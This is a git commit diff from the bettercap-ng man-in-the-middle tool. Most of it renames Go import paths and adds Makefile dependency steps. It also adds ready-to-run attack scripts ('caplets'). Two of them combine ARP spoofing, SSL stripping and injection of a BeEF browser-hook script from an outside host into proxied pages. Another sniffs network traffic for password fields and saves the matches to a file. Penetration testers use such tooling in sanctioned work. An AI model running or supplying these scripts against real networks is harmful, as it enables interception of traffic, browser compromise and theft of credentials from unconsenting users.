Fixed compilation

This commit is contained in:
evilsocket 2018-01-07 16:38:34 +01:00
commit f992cb50f2
22 changed files with 100 additions and 29 deletions

3
.gitignore vendored
View file

@ -1,7 +1,6 @@
*.cap
*.sw*
core/build.go
net/oui_compiled.go
bettercap
bettercap-ng
bettercap.history

View file

@ -6,7 +6,7 @@ all: build
@echo "@ Done"
@echo -n "\n"
build: build_file
build: deps build_file
@echo "@ Building ..."
@go build $(FLAGS) -o $(TARGET) .
@ -21,6 +21,14 @@ resources:
@echo "@ Compiling resources into go files ..."
@go-bindata -o net/oui_compiled.go -pkg net net/oui.dat
deps:
@echo "@ Installing dependencies ..."
@go get -u github.com/jteeuwen/go-bindata/...
@go get github.com/elazarl/goproxy
@go get github.com/google/gopacket
@go get github.com/malfunkt/iprange
@go get github.com/rogpeppe/go-charset/charset
clean:
@rm -rf $(TARGET) net/oui_compiled.go

View file

@ -16,6 +16,8 @@ and offensive feature you could need in order to perform a man in the middle att
**This is a WIP of the new version, very alpha, do not use.**
To have some idea, take a look at the `caplets` folder :)
## License
BetterCAP and BetterCAP-NG were made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and it is released under the GPL 3 license.

5
caplets/active_recon.cap Normal file
View file

@ -0,0 +1,5 @@
net.probe on
net.recon on
sleep 5
net.show
quit

21
caplets/beef_active.cap Normal file
View file

@ -0,0 +1,21 @@
# spoof everyone as they're discovered
# set arp.spoof.targets 192.168.1.0/24
# strip down https links when possible
set http.proxy.sslstrip true
# inject beef hook
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
# keep searching for new targets
# net.probe on
# keep reading arp table for network mapping
net.recon on
# redirect http traffic to a proxy
http.proxy on
sleep 5
# start arp spoofing attack
arp.spoof on

19
caplets/beef_passive.cap Normal file
View file

@ -0,0 +1,19 @@
# strip down https links when possible
set http.proxy.sslstrip true
# inject beef hook
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
#
# keep reading arp table for network mapping
net.recon on
# redirect http traffic to a proxy
http.proxy on
# wait for everything to start properly
sleep 1
active

View file

@ -0,0 +1,4 @@
net.recon on
sleep 1
net.show
quit

View file

@ -0,0 +1,13 @@
# keep reading arp table for network mapping
net.recon on
set net.sniffer.regexp .*password=.+
set net.sniffer.output passwords.cap
# start arp spoofing attack
# arp.spoof on
net.sniffer on

View file

@ -6,7 +6,7 @@ import (
"os"
"strings"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
"github.com/op/go-logging"
)

View file

@ -5,9 +5,9 @@ import (
"github.com/op/go-logging"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/session"
"github.com/bettercap/bettercap/session/modules"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/session"
"github.com/evilsocket/bettercap-ng/session/modules"
)
var sess *session.Session

View file

@ -8,7 +8,7 @@ import (
"github.com/op/go-logging"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
)
type ArpTable map[string]string

View file

@ -5,7 +5,7 @@ import (
"fmt"
"net"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
)
type Endpoint struct {

View file

@ -7,7 +7,7 @@ import (
"strconv"
"strings"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
)
var IPv4RouteParser = regexp.MustCompile("^([\\d\\.]+)\\s+([\\d\\.]+)\\s+([\\d\\.]+)\\s+([A-Z]+)\\s+\\d+\\s+\\d+\\s+\\d+\\s+(.+)$")

View file

@ -2,7 +2,7 @@ package session
import (
"fmt"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
"regexp"
"strconv"
)

View file

@ -2,7 +2,7 @@ package session
import (
"fmt"
"github.com/bettercap/bettercap/core"
"github.com/evilsocket/bettercap-ng/core"
"regexp"
"strconv"
"strings"

View file

@ -2,9 +2,9 @@ package session_modules
import (
"fmt"
network "github.com/bettercap/bettercap/net"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
network "github.com/evilsocket/bettercap-ng/net"
"github.com/evilsocket/bettercap-ng/packets"
"github.com/evilsocket/bettercap-ng/session"
"github.com/malfunkt/iprange"
"net"
"time"

View file

@ -10,8 +10,8 @@ import (
"github.com/elazarl/goproxy"
"github.com/elazarl/goproxy/ext/html"
"github.com/bettercap/bettercap/firewall"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/session"
)
var log = logging.MustGetLogger("mitm")

View file

@ -2,8 +2,8 @@ package session_modules
import (
"fmt"
// "github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
// "github.com/evilsocket/bettercap-ng/packets"
"github.com/evilsocket/bettercap-ng/session"
"github.com/malfunkt/iprange"
"net"
"time"

View file

@ -2,8 +2,8 @@ package session_modules
import (
"fmt"
"github.com/bettercap/bettercap/net"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/bettercap-ng/net"
"github.com/evilsocket/bettercap-ng/session"
"time"
)

View file

@ -2,8 +2,8 @@ package session_modules
import (
"fmt"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/session"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"

View file

@ -15,10 +15,10 @@ import (
"github.com/chzyer/readline"
"github.com/op/go-logging"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/firewall"
"github.com/bettercap/bettercap/net"
"github.com/bettercap/bettercap/packets"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/net"
"github.com/evilsocket/bettercap-ng/packets"
)
type Session struct {

View file

@ -7,8 +7,8 @@ import (
"github.com/op/go-logging"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/net"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/net"
)
var log = logging.MustGetLogger("mitm")